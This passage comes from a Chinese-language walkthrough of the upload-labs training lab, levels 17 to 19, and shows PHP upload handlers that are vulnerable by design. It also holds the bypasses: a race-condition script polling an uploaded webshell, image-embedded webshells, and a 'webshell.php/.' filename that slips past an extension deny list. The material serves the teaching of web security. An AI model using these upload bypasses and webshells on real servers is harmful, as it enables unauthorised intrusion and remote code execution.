                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

运行脚本命令:

jpg_payload.php 1.jpg

Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             unlink($upload_file);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败!';
    }
}

方法一

这种过滤方法是条件筛选,先上传文件,如果不符合格式再将文件删除。所以可以在文件没被删除时访问即可,利用这个时间差执行,但是时间差很短,所以我们可以直接使用脚本访问。

import requests
url = "http://192.168.31.88/upload-labs/upload/webshell.jpg"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

方法二

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞

Pass-18

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

方法一

直接上传图片马即可,可以在返回页面中得到图片名称

Pass-19

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

move_uploaded_file这个函数会忽略/,因此可以修改上传的文件名为:webshell.php/.即可成功上传,测试连接成功。